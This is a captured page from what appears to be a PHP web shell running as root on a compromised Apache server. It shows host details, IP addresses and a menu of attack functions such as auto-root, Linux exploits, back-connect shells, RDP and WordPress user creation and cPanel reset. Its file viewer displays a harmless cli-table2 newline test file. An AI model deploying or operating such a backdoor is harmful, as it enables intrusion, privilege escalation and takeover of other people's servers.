Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
node_modules /
cli-table2 /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
cell-test.js
29.47
KB
-rw-r--r--
example-tests.js
275
B
-rw-r--r--
layout-manager-test.js
4.26
KB
-rw-r--r--
original-cli-table-index-tests...
10.33
KB
-rw-r--r--
original-cli-table-newlines-te...
2.54
KB
-rw-r--r--
table-layout-test.js
12.78
KB
-rw-r--r--
table-test.js
2.8
KB
-rw-r--r--
utils-test.js
13.13
KB
-rw-r--r--
verify-legacy-compatibility-te...
4.97
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : original-cli-table-newlines-test.js
describe('@api original-cli-table newline tests',function(){ var Table = require('../src/table'); var chai = require('chai'); var expect = chai.expect; it('test table with newlines in headers', function() { var table = new Table({ head: ['Test', "1\n2\n3"] , style: { 'padding-left': 1 , 'padding-right': 1 , head: [] , border: [] } }); var expected = [ '┌──────┬───┐' , '│ Test │ 1 │' , '│ │ 2 │' , '│ │ 3 │' , '└──────┴───┘' ]; expect(table.toString()).to.equal(expected.join("\n")); }); it('test column width is accurately reflected when newlines are present', function() { var table = new Table({ head: ['Test\nWidth'], style: {head:[], border:[]} }); expect(table.width).to.equal(9); }); it('test newlines in body cells', function() { var table = new Table({style: {head:[], border:[]}}); table.push(["something\nwith\nnewlines"]); var expected = [ '┌───────────┐' , '│ something │' , '│ with │' , '│ newlines │' , '└───────────┘' ]; expect(table.toString()).to.equal(expected.join("\n")); }); it('test newlines in vertical cell header and body', function() { var table = new Table({ style: {'padding-left':0, 'padding-right':0, head:[], border:[]} }); table.push( {'v\n0.1': 'Testing\nsomething cool'} ); var expected = [ '┌───┬──────────────┐' , '│v │Testing │' , '│0.1│something cool│' , '└───┴──────────────┘' ]; expect(table.toString()).to.equal(expected.join("\n")); }); it('test newlines in cross table header and body', function() { var table = new Table({ head: ["", "Header\n1"], style: {'padding-left':0, 'padding-right':0, head:[], border:[]} }); table.push({ "Header\n2": ['Testing\nsomething\ncool'] }); var expected = [ '┌──────┬─────────┐' , '│ │Header │' , '│ │1 │' , '├──────┼─────────┤' , '│Header│Testing │' , '│2 │something│' , '│ │cool │' , '└──────┴─────────┘' ]; expect(table.toString()).to.equal(expected.join("\n")); }); });
Close